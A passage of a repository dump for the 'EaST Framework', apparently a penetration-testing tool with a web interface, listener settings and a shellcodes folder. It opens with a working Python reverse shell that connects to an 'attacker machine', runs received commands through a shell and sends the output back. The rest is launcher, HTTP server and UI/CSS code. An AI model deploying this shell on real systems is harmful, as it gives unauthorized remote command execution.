    "content": "#!/usr/bin/python\nimport socket,subprocess\nHOST = '127.0.0.1'    # The remote host\nPORT = 5555            # The same port as used by the server\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n# connect to attacker machine\ns.connect((HOST, PORT))\n# send we are connected\ns.send('[*] Connection Established!')\n# start loop\nwhile 1:\n    # recieve shell command\n    data = s.recv(1024)\n    print data\n\n    # if its quit, then break out and close socket\n    if data == \"quit\": \n        break\n\n    # do shell command\n    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n    # read output\n    stdout_value = proc.stdout.read() + proc.stderr.read()\n    # send output to attacker\n    s.send(stdout_value)\n# close socket\ns.close()"
  },
  {
    "path": "start.py",
    "content": "﻿import os, sys\nimport threading\nimport logging\nimport BaseHTTPServer\nfrom ui.httpd import HTTPRequestHandler\nimport subprocess\nimport zipfile\nfrom shutil import rmtree\nimport argparse\nimport importlib\nimport asyncore\nfrom core.WebSocketServer import WebSocketServer\n\nsys.path.append(\"./core\")\nsys.path.append(\"./core/helpers/java\")\nsys.path.append(\"./core/helpers/archieve\")\nsys.path.append(\"./shellcodes\")\n\nVERSION = \"2.0.0\"\n\nclass FrameworkStarter:\n    def __init__(self, host=\"localhost\", ws_port=49999, port=80):\n        self.host = host\n        self.port = port\n        self.ws_port = ws_port\n        self.platform = \"win\" if os.name == \"nt\" else \"other\"\n        self.logger = None\n        self.prepare_logging(True)\n        self.prepare_environment()\n        self.dependencies = [\"setuptools\", \"six\", \"websocket\"]\n        self.install_missing_deps()\n        self.parse_args()\n\n    def prepare_logging(self, verbose):\n        if not os.path.exists(\"Logs\"):\n            os.makedirs(\"Logs\")\n        self.logger = logging.getLogger()\n        self.logger.setLevel(logging.INFO)\n        formatter = logging.Formatter('%(filename)s - %(asctime)s - %(levelname)s - %(message)s')\n        fh = logging.FileHandler('Logs/commonLog.log')\n        fh.setLevel(logging.INFO)\n        fh.setFormatter(formatter)\n        self.logger.addHandler(fh)\n        if verbose:\n            ch = logging.StreamHandler()\n            ch.setLevel(logging.WARNING)\n            ch.setFormatter(formatter)\n            self.logger.addHandler(ch)\n\n    def prepare_environment(self):\n        root_dir = os.getcwd()\n        core = os.path.join(root_dir, \"core\")\n        shellcodes = os.path.join(root_dir, \"shellcodes\")\n        paths = [root_dir, core, shellcodes]\n        os.environ.data[\"PYTHONPATH\"] = \";\".join(paths) if self.platform == \"win\" else \":\".join(paths)\n\n    def install_missing_deps(self):\n        \"\"\"\n        Check and install missing dependencies\n        \"\"\"\n        # # checking for setup_tools\n        # try:\n        #     imported = importlib.import_module(\"easy_install\")\n        # except ImportError:\n        #     print(\"Installing setup-tools...\")\n        #     self.\n        is_there_deps = False\n        for module in self.dependencies:\n            try:\n                imported = importlib.import_module(module)\n            except ImportError:\n                is_there_deps = True\n                print(\"Module %s will be installed\" % module)\n                self.install_python_lib(module)\n        if is_there_deps:\n            print(\"All dependencies installed\")\n            os.execv(sys.executable, [sys.executable] + sys.argv)\n\n\n    def install_python_lib(self, relative_path):\n        modules_path = os.path.join(os.getcwd(), \"3rdPartyTools\", \"\")\n        zipOb = zipfile.ZipFile(modules_path + relative_path+'.zip')\n        zipOb.extractall(modules_path + relative_path)\n        module_path = ''.join([\"\", str(os.getcwd()), \"/3rdPartyTools/\"+relative_path+\"/\"])\n        args = [sys.executable, '%ssetup.py' % module_path, 'install']\n        proc = subprocess.Popen(args, cwd=module_path, shell=False)\n        proc.communicate()\n        message = \"%s installed successfully\" % relative_path\n        print(message)\n        rmtree(modules_path + relative_path)\n\n    def parse_args(self):\n        parser = argparse.ArgumentParser()\n        parser.add_argument('-p', dest='port', default=80, type=int,\n                            help='Webserver port')\n        parser.add_argument('--all-interfaces', dest='use_default_route',\n                            help='Use 0.0.0.0 as webserver IP', action='store_const',\n                            const=True,\n                            default=False)\n        args = parser.parse_args()\n        if args.port:\n            self.port = args.port\n        if args.use_default_route:\n            self.host = \"0.0.0.0\"\n        return args\n\n    def start_servers(self):\n        print(\"Starting servers...\")\n        ws_server = WebSocketServer(self.host, self.ws_port, 2000)\n        http_server = BaseHTTPServer.HTTPServer((self.host, self.port), HTTPRequestHandler)\n        th2 = threading.Thread(target=http_server.serve_forever)\n        threads = [th2]\n        for t in threads:\n            t.daemon = True\n            t.start()\n        print(\"GUI available @ %s:%s\" % (self.host, self.port))\n        while len(threads) > 0:\n            try:\n                # Join all threads using a timeout so it doesn't block\n                # Filter out threads which have been joined or are None\n                asyncore.loop()\n                threads = [t.join(1000) for t in threads if t is not None and t.isAlive()]\n            except KeyboardInterrupt:\n                ws_server.kill_all_processes()\n                ws_server.ExitNow('WS Server is quitting!')\n                http_server.shutdown()\n                os._exit(1)\n\n\nif __name__ == \"__main__\":\n    runner = FrameworkStarter()\n    runner.start_servers()\n"
  },
  {
    "path": "ui/__init__.py",
    "content": ""
  },
  {
    "path": "ui/css/codemirror.css",
    "content": "/* BASICS */\n\n.CodeMirror {\n  /* Set height, width, borders, and global font properties here */\n  font-family: monospace;\n  height: 300px;\n}\n.CodeMirror-scroll {\n  /* Set scrolling behaviour here */\n  overflow: auto;\n}\n\n/* PADDING */\n\n.CodeMirror-lines {\n  padding: 4px 0; /* Vertical padding around content */\n}\n.CodeMirror pre {\n  padding: 0 4px; /* Horizontal padding of content */\n}\n\n.CodeMirror-scrollbar-filler, .CodeMirror-gutter-filler {\n  background-color: white; /* The little square between H and V scrollbars */\n}\n\n/* GUTTER */\n\n.CodeMirror-gutters {\n  border-right: 1px solid #ddd;\n  background-color: #f7f7f7;\n  white-space: nowrap;\n}\n.CodeMirror-linenumbers {}\n.CodeMirror-linenumber {\n  padding: 0 3px 0 5px;\n  min-width: 20px;\n  text-align: right;\n  color: #999;\n  -moz-box-sizing: content-box;\n  box-sizing: content-box;\n}\n\n.CodeMirror-guttermarker { color: black; }\n.CodeMirror-guttermarker-subtle { color: #999; }\n\n/* CURSOR */\n\n.CodeMirror div.CodeMirror-cursor {\n  border-left: 1px solid black;\n}\n/* Shown when moving in bi-directional text */\n.CodeMirror div.CodeMirror-secondarycursor {\n  border-left: 1px solid silver;\n}\n.CodeMirror.cm-keymap-fat-cursor div.CodeMirror-cursor {\n  width: auto;\n  border: 0;\n  background: #7e7;\n}\n.CodeMirror.cm-keymap-fat-cursor div.CodeMirror-cursors {\n  z-index: 1;\n}\n\n.cm-animate-fat-cursor {\n  width: auto;\n  border: 0;\n  -webkit-animation: blink 1.06s steps(1) infinite;\n  -moz-animation: blink 1.06s steps(1) infinite;\n  animation: blink 1.06s steps(1) infinite;\n}\n@-moz-keyframes blink {\n  0% { background: #7e7; }\n  50% { background: none; }\n  100% { background: #7e7; }\n}\n@-webkit-keyframes blink {\n  0% { background: #7e7; }\n  50% { background: none; }\n  100% { background: #7e7; }\n}\n@keyframes blink {\n  0% { background: #7e7; }\n  50% { background: none; }\n  100% { background: #7e7; }\n}\n\n/* Can style cursor different in overwrite (non-insert) mode */\ndiv.CodeMirror-overwrite div.CodeMirror-cursor {}\n\n.cm-tab { display: inline-block; }\n\n.CodeMirror-ruler {\n  border-left: 1px solid #ccc;\n  position: absolute;\n}\n\n/* DEFAULT THEME */\n\n.cm-s-default .cm-keyword {color: #708;}\n.cm-s-default .cm-atom {color: #219;}\n.cm-s-default .cm-number {color: #164;}\n.cm-s-default .cm-def {color: #00f;}\n.cm-s-default .cm-variable,\n.cm-s-default .cm-punctuation,\n.cm-s-default .cm-property,\n.cm-s-default .cm-operator {}\n.cm-s-default .cm-variable-2 {color: #05a;}\n.cm-s-default .cm-variable-3 {color: #085;}\n.cm-s-default .cm-comment {color: #a50;}\n.cm-s-default .cm-string {color: #a11;}\n.cm-s-default .cm-string-2 {color: #f50;}\n.cm-s-default .cm-meta {color: #555;}\n.cm-s-default .cm-qualifier {color: #555;}\n.cm-s-default .cm-builtin {color: #30a;}\n.cm-s-default .cm-bracket {color: #997;}\n.cm-s-default .cm-tag {color: #170;}\n.cm-s-default .cm-attribute {color: #00c;}\n.cm-s-default .cm-header {color: blue;}\n.cm-s-default .cm-quote {color: #090;}\n.cm-s-default .cm-hr {color: #999;}\n.cm-s-default .cm-link {color: #00c;}\n\n.cm-negative {color: #d44;}\n.cm-positive {color: #292;}\n.cm-header, .cm-strong {font-weight: bold;}\n.cm-em {font-style: italic;}\n.cm-link {text-decoration: underline;}\n\n.cm-s-default .cm-error {color: #f00;}\n.cm-invalidchar {color: #f00;}\n\n/* Default styles for common addons */\n\ndiv.CodeMirror span.CodeMirror-matchingbracket {color: #0f0;}\ndiv.CodeMirror span.CodeMirror-nonmatchingbracket {color: #f22;}\n.CodeMirror-matchingtag { background: rgba(255, 150, 0, .3); }\n.CodeMirror-activeline-background {background: #e8f2ff;}\n\n/* STOP */\n\n/* The rest of this file contains styles related to the mechanics of\n   the editor. You probably shouldn't touch them. */\n\n.CodeMirror {\n  line-height: 1;\n  position: relative;\n  overflow: hidden;\n  background: white;\n  color: black;\n}\n\n.CodeMirror-scroll {\n  /* 30px is the magic margin used to hide the element's real scrollbars */\n  /* See overflow: hidden in .CodeMirror */\n  margin-bottom: -30px; margin-right: -30px;\n  padding-bottom: 30px;\n  height: 100%;\n  outline: none; /* Prevent dragging from highlighting the element */\n  position: relative;\n  -moz-box-sizing: content-box;\n  box-sizing: content-box;\n}\n.CodeMirror-sizer {\n  position: relative;\n  border-right: 30px solid transparent;\n  -moz-box-sizing: content-box;\n  box-sizing: content-box;\n}\n\n/* The fake, visible scrollbars. Used to force redraw during scrolling\n   before actuall scrolling happens, thus preventing shaking and\n   flickering artifacts. */\n.CodeMirror-vscrollbar, .CodeMirror-hscrollbar, .CodeMirror-scrollbar-filler, .CodeMirror-gutter-filler {\n  position: absolute;\n  z-index: 6;\n  display: none;\n}\n.CodeMirror-vscrollbar {\n  right: 0; top: 0;\n  overflow-x: hidden;\n  overflow-y: scroll;\n}\n.CodeMirror-hscrollbar {\n  bottom: 0; left: 0;\n  overflow-y: hidden;\n  overflow-x: scroll;\n}\n.CodeMirror-scrollbar-filler {\n  right: 0; bottom: 0;\n}\n.CodeMirror-gutter-filler {\n  left: 0; bottom: 0;\n}\n\n.CodeMirror-gutters {\n  position: absolute; left: 0; top: 0;\n  padding-bottom: 30px;\n  z-index: 3;\n}\n.CodeMirror-gutter {\n  white-space: normal;\n  height: 100%;\n  -moz-box-sizing: content-box;\n  box-sizing: content-box;\n  padding-bottom: 30px;\n  margin-bottom: -32px;\n  display: inline-block;\n  /* Hack to make IE7 behave */\n  *zoom:1;\n  *display:inline;\n}\n.CodeMirror-gutter-elt {\n  position: absolute;\n  cursor: default;\n  z-index: 4;\n}\n\n.CodeMirror-lines {\n  cursor: text;\n  min-height: 1px; /* prevents collapsing before first draw */\n}\n.CodeMirror pre {\n  /* Reset some styles that the rest of the page might have set */\n  -moz-border-radius: 0; -webkit-border-radius: 0; border-radius: 0;\n  border-width: 0;\n  background: transparent;\n  font-family: inherit;\n  font-size: inherit;\n  margin: 0;\n  white-space: pre;\n  word-wrap: normal;\n  line-height: inherit;\n  color: inherit;\n  z-index: 2;\n  position: relative;\n  overflow: visible;\n}\n.CodeMirror-wrap pre {\n  word-wrap: break-word;\n  white-space: pre-wrap;\n  word-break: normal;\n}\n\n.CodeMirror-linebackground {\n  position: absolute;\n  left: 0; right: 0; top: 0; bottom: 0;\n  z-index: 0;\n}\n\n.CodeMirror-linewidget {\n  position: relative;\n  z-index: 2;\n  overflow: auto;\n}\n\n.CodeMirror-widget {}\n\n.CodeMirror-wrap .CodeMirror-scroll {\n  overflow-x: hidden;\n}\n\n.CodeMirror-measure {\n  position: absolute;\n  width: 100%;\n  height: 0;\n  overflow: hidden;\n  visibility: hidden;\n}\n.CodeMirror-measure pre { position: static; }\n\n.CodeMirror div.CodeMirror-cursor {\n  position: absolute;\n  border-right: none;\n  width: 0;\n}\n\ndiv.CodeMirror-cursors {\n  visibility: hidden;\n  position: relative;\n  z-index: 3;\n}\n.CodeMirror-focused div.CodeMirror-cursors {\n  visibility: visible;\n}\n\n.CodeMirror-selected { background: #d9d9d9; }\n.CodeMirror-focused .CodeMirror-selected { background: #d7d4f0; }\n.CodeMirror-crosshair { cursor: crosshair; }\n\n.cm-searching {\n  background: #ffa;\n  background: rgba(255, 255, 0, .4);\n}\n\n/* IE7 hack to prevent it from returning funny offsetTops on the spans */\n.CodeMirror span { *vertical-align: text-bottom; }\n\n/* Used to force a border model for a node */\n.cm-force-border { padding-right: .1px; }\n\n@media print {\n  /* Hide the cursor when printing */\n  .CodeMirror div.CodeMirror-cursors {\n    visibility: hidden;\n  }\n}\n\n/* Help users use markselection to safely style text background */\nspan.CodeMirror-selectedtext { background: none; }\n"
  },
  {
    "path": "ui/css/main.css",
    "content": "* {\n\tbox-sizing: border-box;\n}\n.text-white {\n    color: white;\n}\n.text-danger {\n    color: #a94442 !important;\n}\n\n.modal {\n    display: block;\n}\n.modal-transition {\n    transition: all .6s ease;\n}\n.modal-leave {\n    border-radius: 1px !important;\n}\n.modal-transition .modal-dialog, .modal-transition .modal-backdrop {\n    transition: all .5s ease;\n}\n.modal-enter .modal-dialog, .modal-leave .modal-dialog {\n    opacity: 0;\n    transform: translateY(-30%);\n}\n.modal-enter .modal-backdrop, .modal-leave .modal-backdrop {\n    opacity: 0;\n}\n.modal-full {\n    width: 90vw;\n}\n.modal-full img {\n    width: 100%;\n}\n.modal-header {\n    background-color: #222;\n    color: #ccc;\n}\n\n\n\n.closeTab {\n    line-height: 100%;\n    position: absolute;\n    right: 0;\n    text-align: center;\n    top: 0;\n    width: 15px;\n    border-radius: 50%;\n    cursor: pointer;\n}\n\ntable input[type=checkbox] {\n    margin-bottom: 10px;\n}\npre {\n    white-space: pre-wrap;\n\tword-wrap: break-word;\n\tword-break: keep-all;    \n}\n.module-failed {\n\tbackground-color: rgb(255, 190, 190) !important;\n}\n.module-succeeded {\n\tbackground-color: rgb(186, 220, 180) !important;\n}\n\n.scrollable-panel {\n    overflow-y: auto;\n    white-space: pre-wrap;\n    word-wrap: break-word;\n    word-break: keep-all;\n}\n\n.scrollable-panel pre {\n    overflow-y: hidden;\n}\n\n.tab-widget {\n    height: 90vh;\n}\n\n.half-height {\n    height: 40% !important;\n}\n.full-height {\n    height: 80% !important;\n}\n.logView {\n    padding-left: 10px;\n    overflow: auto;\n}\n.CodeMirror {\n  border: 1px solid #eee;\n  height: 800px;\n  max-height: 800px;\n}\n\n.listener-state-indicator {\n    position: relative;\n    height: 15px;\n    width: 15px;\n    background-color: #555;\n    display: inline-flex;\n    border-radius: 50%;\n    box-shadow: 0px 0px 0px 3px #fff inset;\n    top: 3px;\n    right: 10px;\n    margin-right: 0px;\n}\n.listener-connected {\n    background-color: #49c749;\n}\n.listener-disconnected {\n    background-color: red;\n}\n.tabcontrol2 .tabs li:first-child {\n    margin-left: 0px;\n}\n.pre-scrollable {\n    height: 60%;\n    overflow-y: scroll;\n}\n\n.logItem pre {\n    display: block;\n    padding: 0px 0px;\n    margin: 0px 0px;\n    font-size: 13px;\n    /* line-height: 1.42857143; */\n    color: #333;\n    word-break: break-all;\n    word-wrap: break-word;\n    background-color: #eee;\n    border: 0px solid #ccc;\n}\n\n.logItem img {\n    width: 150px;\n    border: 1px solid grey;\n    border-radius: 10px;\n    box-shadow: 3px 3px 10px;\n}\n\n.tab-widget .panel-body {\n    border-left: 1px solid grey;\n    border-right: 1px solid grey;\n    border-bottom: 1px solid grey;\n    border-bottom-left-radius: 5px;\n    border-bottom-right-radius: 5px;\n}\n.left-panel {\n    width: 100% !important;\n    height: 40% !important;\n    overflow: auto;\n}\n#optionsDialog table {\n    width: 100%;\n}\n.treeview, .treeview ul, .treeview li {\n    position: relative;\n}\n.treeview li {\n    white-space: nowrap;\n}\n\n.treeview .glyphicon {\n    top: 0px;\n}\n\n.treeview ul {\n    list-style: none;\n    padding-left: 32px;\n}\n.treeview>ul {\n    padding-left: 10px;\n}\n.treeview ul, .treeview li {\n    cursor: pointer;\n    padding-bottom: 5px;\n    -webkit-touch-callout: none;\n    -webkit-user-select: none;\n    -khtml-user-select: none;\n    -moz-user-select: none;\n    -ms-user-select: none;\n    user-select: none;\n}\n\n.treeView ul>li:hover {\n    background-color: #f9f9f9;\n}\n.treeview .hidden {\n    display: none;\n}\n\n\n.form-group .form-control-feedback {\n  pointer-events: initial\n}\n.pointer {\n    cursor: pointer;\n}\n\n.nav-tabs>li>a {\n    margin-right: 0px;\n}\n.nav-tabs>li {\n    border-top-left-radius: 5px;\n    border-top-right-radius: 5px;\n}\n.nav-tabs>li.active {\n    box-shadow: 1px 2px 10px 2px black;\n    z-index: 1;\n}\n\n[v-cloak] {\n  display: none;\n}\n\n.service-messages-container {\n    display: none;\n}\n.popover {\n    max-width: none;\n}\n\n"
  },
  {
    "path": "ui/httpd.py",
    "content": "\"\"\"Simple HTTP Server.\nThis module builds on BaseHTTPServer by implementing the standard GET\nand HEAD requests in a fairly straightforward manner.\n\"\"\"\n\n\n__version__ = \"0.6\"\n\n__all__ = [\"SimpleHTTPRequestHandler\"]\n\nimport os\nimport posixpath\nimport BaseHTTPServer\nimport urllib\nimport cgi\nimport sys\nimport shutil\nimport mimetypes\nimport threading\ntry:\n    from cStringIO import StringIO\nexcept ImportError:\n    from StringIO import StringIO\n\n\nclass HTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):\n\n    \"\"\"Simple HTTP request handler with GET and HEAD commands.\n    This serves files from the current directory and any of its\n    subdirectories.  The MIME type for files is determined by\n    calling the .guess_type() method.\n    The GET and HEAD requests are identical except that the HEAD\n    request omits the actual contents of the file.\n    \"\"\"\n\n    server_version = \"SimpleHTTP/\" + __version__\n\n    def do_GET(self):\n        \"\"\"Serve a GET request.\"\"\"\n        f = self.send_head()\n        if f:\n            self.copyfile(f, self.wfile)\n            f.close()\n\n    def do_HEAD(self):\n        \"\"\"Serve a HEAD request.\"\"\"\n        f = self.send_head()\n        if f:\n            f.close()\n\n    def log_message(self, format, *args):\n        return\n\n    def send_head(self):\n        \"\"\"Common code for GET and HEAD commands.\n        This sends the response code and MIME headers.\n        Return value is either a file object (which has to be copied\n        to the outputfile by the caller unless the command was HEAD,\n        and must be closed by the caller under all circumstances), or\n        None, in which case the caller has nothing further to do.\n        \"\"\"\n        path = self.translate_path(\"ui\"+self.path)\n        f = None\n        if os.path.isdir(path):\n            if not self.path.endswith('/'):\n                # redirect browser - doing basically what apache does\n                self.send_response(301)\n                self.send_header(\"Location\", self.path + \"/\")\n                self.end_headers()\n                return None\n            for index in \"index.html\", \"index.htm\":\n                index = os.path.join(path, index)\n                if os.path.exists(index):\n                    path = index\n                    break\n            else:\n                return self.list_directory(path)\n        ctype = self.guess_type(path)\n        try:\n            # Always read in binary mode. Opening files in text mode may cause\n            # newline translations, making the actual size of the content\n            # transmitted *less* than the content-length!\n            f = open(path, 'rb')\n        except IOError:\n            self.send_error(404, \"File not found\")\n            return None\n        self.send_response(200)\n        self.send_header(\"Content-type\", ctype)\n        fs = os.fstat(f.fileno())\n        self.send_header(\"Content-Length\", str(fs[6]))\n        self.send_header(\"Last-Modified\", self.date_time_string(fs.st_mtime))\n        self.end_headers()\n        return f\n\n    def list_directory(self, path):\n        \"\"\"Helper to produce a directory listing (absent index.html).\n        Return value is either a file object, or None (indicating an\n        error).  In either case, the headers are sent, making the\n        interface the same as for send_head().\n        \"\"\"\n        try:\n            list = os.listdir(path)\n        except os.error:\n            self.send_error(404, \"No permission to list directory\")\n            return None\n        list.sort(key=lambda a: a.lower())\n        f = StringIO()\n        displaypath = cgi.escape(urllib.unquote(self.path))\n        f.write('<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 3.2 Final//EN\">')\n        f.write(\"<html>\\n<title>Directory listing for %s</title>\\n\" % displaypath)\n        f.write(\"<body>\\n<h2>Directory listing for %s</h2>\\n\" % displaypath)\n        f.write(\"<hr>\\n<ul>\\n\")\n        for name in list:\n            fullname = os.path.join(path, name)\n            displayname = linkname = name\n            # Append / for directories or @ for symbolic links\n            if os.path.isdir(fullname):\n                displayname = name + \"/\"\n                linkname = name + \"/\"\n            if os.path.islink(fullname):\n                displayname = name + \"@\"\n                # Note: a link to a directory displays with @ and links with /\n            f.write('<li><a href=\"%s\">%s</a>\\n'\n                    % (urllib.quote(linkname), cgi.escape(displayname)))\n        f.write(\"</ul>\\n<hr>\\n</body>\\n</html>\\n\")\n        length = f.tell()\n        f.seek(0)\n        self.send_response(200)\n        encoding = sys.getfilesystemencoding()\n        self.send_header(\"Content-type\", \"text/html; charset=%s\" % encoding)\n        self.send_header(\"Content-Length\", str(length))\n        self.end_headers()\n        return f\n\n    def translate_path(self, path):\n        \"\"\"Translate a /-separated PATH to the local filename syntax.\n        Components that mean special things to the local file system\n        (e.g. drive or directory names) are ignored.  (XXX They should\n        probably be diagnosed.)\n        \"\"\"\n        # abandon query parameters\n        path = path.split('?',1)[0]\n        path = path.split('#',1)[0]\n        path = posixpath.normpath(urllib.unquote(path))\n        words = path.split('/')\n        words = filter(None, words)\n        path = os.getcwd()\n        for word in words:\n            drive, word = os.path.splitdrive(word)\n            head, word = os.path.split(word)\n            if word in (os.curdir, os.pardir): continue\n            path = os.path.join(path, word)\n        return path\n\n    def copyfile(self, source, outputfile):\n        \"\"\"Copy all data between two file objects.\n        The SOURCE argument is a file object open for reading\n        (or anything with a read() method) and the DESTINATION\n        argument is a file object open for writing (or\n        anything with a write() method).\n        The only reason for overriding this would be to change\n        the block size or perhaps to replace newlines by CRLF\n        -- note however that this the default server uses this\n        to copy binary data as well.\n        \"\"\"\n        shutil.copyfileobj(source, outputfile)\n\n    def guess_type(self, path):\n        \"\"\"Guess the type of a file.\n        Argument is a PATH (a filename).\n        Return value is a string of the form type/subtype,\n        usable for a MIME Content-type header.\n        The default implementation looks the file's extension\n        up in the table self.extensions_map, using application/octet-stream\n        as a default; however it would be permissible (if\n        slow) to look inside the data to make a better guess.\n        \"\"\"\n\n        base, ext = posixpath.splitext(path)\n        if ext in self.extensions_map:\n            return self.extensions_map[ext]\n        ext = ext.lower()\n        if ext in self.extensions_map:\n            return self.extensions_map[ext]\n        else:\n            return self.extensions_map['']\n\n    if not mimetypes.inited:\n        mimetypes.init() # try to read system mime.types\n    extensions_map = mimetypes.types_map.copy()\n    extensions_map.update({\n        '': 'application/octet-stream', # Default\n        '.py': 'text/plain',\n        '.c': 'text/plain',\n        '.h': 'text/plain',\n        })\n\n\ndef startHttpServer(HandlerClass = HTTPRequestHandler,\n         ServerClass = BaseHTTPServer.HTTPServer):\n    BaseHTTPServer.test(HandlerClass, ServerClass)\n\n\nif __name__ == '__main__':\n    startHttpServer()"
  },
  {
    "path": "ui/index.html",
    "content": "\n<html>\n  <head>\n    <meta charset=\"utf-8\"/>\n    <title>EaST Framework</title>\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"css/bootstrap.min.css\"/>\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"css/toastr.min.css\"/>\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"css/codemirror.css\"/>\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/>\n    <script src=\"js/jquery.min.js\"></script>\n    <script src=\"js/bootstrap.min.js\"></script>\n    <script src=\"js/lodash.min.js\"></script>\n    <script src=\"js/rsvp.js\"></script>\n    <script src=\"js/toastr.min.js\"></script>\n    <script src=\"js/vue.min.js\"></script>\n    <script src=\"js/codemirror.js\"></script>\n    <script src=\"mode/python/python.js\"></script>\n    <script src=\"js/guiCommands.js\"></script>\n    <script src=\"js/serverCommands.js\"></script>\n    <script src=\"js/ws.js\"></script>\n    <script src=\"js/components.js\"></script>\n    <script src=\"js/main.js\"></script>\n  </head>\n  <body style=\"position: absolute; height: 100vh; width: 100vw\">\n\n   <!--TEXT EDITOR-->\n    <div id=\"editorDialog\" v-cloak>\n      <re-modal :show.sync=\"show\" @ok=\"save\" :large=\"true\" ok-text=\"Save\">\n        <textarea id=\"editor\"></textarea>\n        <div slot=\"header\" class=\"text-center\">\n          <h4>Edit {{title}}</h4>\n        </div>\n      </re-modal>\n    </div>\n\n   <!--OPTIONS MODAL DIALOG-->\n    <div id=\"optionsDialog\" v-cloak>\n      <re-modal :show.sync=\"show\" @ok=\"ok\" ok-text=\"Run\">\n        <table>\n          <colgroup>\n            <col style=\"width: 50%\" />\n            <col style=\"width: 25%\" />\n            <col style=\"width: 25%\" />\n          </colgroup>\n          <tr>\n            <td><label>USE LISTENER:</label></td>\n            <td><input type=\"checkbox\" v-model=\"useListener\" @click=\"checkCustomPort()\"/></td>\n            <td>\n              <select v-show=\"useListener\" v-model=\"listenerType\" class=\"form-control\">\n                <option value=\"1\">Reverse</option>\n                <option value=\"2\">Bind</option>\n              </select>\n            </td>\n          </tr>\n          <tr v-show=\"useListener && listenerType==1\">\n            <td><label>USE CUSTOM LISTENER PORT:</label></td>\n            <td colspan=\"2\"><input type=\"checkbox\" v-model=\"useCustomPort\" @click=\"enableListener()\"/></td>\n          </tr>\n          <tr v-show=\"useListener && listenerType==1\">\n            <td><label>CUSTOM LISTENER PORT:</label></td>\n            <td colspan=\"2\"><input type=\"number\" :disabled=\"!useCustomPort\" class=\"form-control\" v-model=\"customPort\"/></td>\n          </tr>\n        </table>\n        <hr>\n        <table>\n          <tr v-for=\"option in options\" title=\"{{option.value.description || ''}}\">\n            <td><label>{{option.option}}:</label></td>\n            <td>\n              <input v-show=\"option.value.type == 'int'\" type=\"number\" v-model=\"option.value.value\" class=\"form-control\"/>\n              <input v-show=\"option.value.type == 'string'\" type=\"\" v-model=\"option.value.value\" class=\"form-control\"/>\n              <input v-show=\"option.value.type == 'bool'\" type=\"checkbox\" v-model=\"option.value.value\"/>\n              <select v-show=\"option.value.type == 'list'\" v-model=\"option.value.selected\" class=\"form-control\">\n                <option v-for=\"opt in option.value.options\" :selected=\"opt == option.value.selected\">{{opt}}</option>\n              </select>\n            </td>\n          </tr>\n        </table>\n        <div slot=\"header\" class=\"text-center\">\n          <h4>{{moduleName}}</h4>\n        </div>\n      </re-modal>\n    </div>\n\n   <!--IMAGE POPUP-->\n    <div id=\"imagePopup\" v-cloak>\n      <re-modal :show.sync=\"show\" :full=\"true\"><img :src=\"image || '/'\"/>\n        <div slot=\"header\" class=\"text-center\">\n          <h4>Image</h4>\n        </div>\n        <div slot=\"footer\">\n          <button type=\"button\" :class=\"cancelClass\" @click=\"show=false\" class=\"btn btn-default\">Close</button>\n        </div>\n      </re-modal>\n    </div>\n   <!--NAVIGATION BAR-->\n    <div id=\"mainVue\">\n      <nav class=\"navbar navbar-inverse\">\n        <div class=\"container-fluid\">\n          <div v-cloak class=\"navbar-header\"><a href=\"#\" :class=\"{'text-danger': !serverEnabled}\" class=\"navbar-brand\">EaST Framework {{ version }}</a></div>\n          <re-service-messages :messages=\"serviceMessages\"></re-service-messages>\n          <ul class=\"navbar-form navbar-right\">\n            <div class=\"form-group\">\n              <label class=\"text-white\">Target:</label>\n              <input placeholder=\"127.0.0.1:80\" v-model=\"target\" class=\"form-control\"/>\n            </div>\n          </ul>\n        </div>\n      </nav>\n      <div class=\"container-fluid\">\n        <div class=\"row\">\n          <div class=\"col-md-4\">\n            <!--MODULES TREE-->\n            <tree-view :modules=\"modules\" class=\"fg-white\"></tree-view>\n            <!--MODULE INFO-->\n            <re-module-info :module.sync=\"selectedModule\"></re-module-info>\n          </div>\n          <div class=\"col-md-8\">\n            <!--TABS WITH CONTENT-->\n            <tab-view :tabs.sync=\"tabs\"> </tab-view>\n          </div>\n        </div>\n      </div>\n    </div>\n  </body>\n</html>"
  },
  {
    "path": "ui/index.jade",
    "content": "html\n  head\n    meta(charset=\"utf-8\")\n    title EaST Framework\n    script(src=\"js/jquery.min.js\")\n    script(src=\"js/lodash.min.js\")\n    script(src=\"js/rsvp.js\")\n    script(src=\"js/metro.min.js\")\n    script(src=\"js/bootstrap.min.js\")\n    script(src=\"js/toastr.min.js\")\n    script(src=\"js/vue.min.js\")\n    script(src=\"js/codemirror.js\")\n    script(src=\"mode/python/python.js\")\n    \n    script(src=\"js/guiCommands.js\")\n    script(src=\"js/serverCommands.js\")\n    script(src=\"js/ws.js\")\n    script(src=\"js/components.js\")\n    script(src=\"js/main.js\")\n    link(rel=\"stylesheet\", type=\"text/css\", href=\"css/bootstrap.min.css\")\n    link(rel=\"stylesheet\", type=\"text/css\", href=\"css/metro.min.css\")\n    link(rel=\"stylesheet\", type=\"text/css\", href=\"css/metro-schemes.min.css\")\n    link(rel=\"stylesheet\", type=\"text/css\", href=\"css/metro-colors.min.css\")\n    link(rel=\"stylesheet\", type=\"text/css\", href=\"css/metro-icons.min.css\")\n    link(rel=\"stylesheet\", type=\"text/css\", href=\"css/metro-rtl.min.css\")\n    link(rel=\"stylesheet\", type=\"text/css\", href=\"css/toastr.min.css\")\n    link(rel=\"stylesheet\", type=\"text/css\", href=\"css/codemirror.css\")\n    link(rel=\"stylesheet\", type=\"text/css\", href=\"css/main.css\")\n\n  body(style=\"position: absolute; height: 100vh; width: 100vw\")\n    #editorDialog\n      re-modal(:show.sync=\"show\", @ok=\"save\", :large=\"true\", :okText=\"'Saffffve'\")\n        textarea#editor\n        div(slot=\"header\").text-center\n          h4 Edit {{title}}\n    #optionsDialog\n      re-modal(:show.sync=\"show\", @ok=\"ok\", okText=\"Run\")        \n        table\n          tr\n            td\n              label Use listener:\n            td\n              input(type=\"checkbox\", v-model=\"useListener\")\n          tr(v-for=\"option in options\", title=\"{{option.value.description || ''}}\")\n            td \n              label {{option.option}}:\n            td\n              input.form-control(v-show=\"option.value.type == 'int'\",type=\"number\", v-model=\"option.value.value\")\n              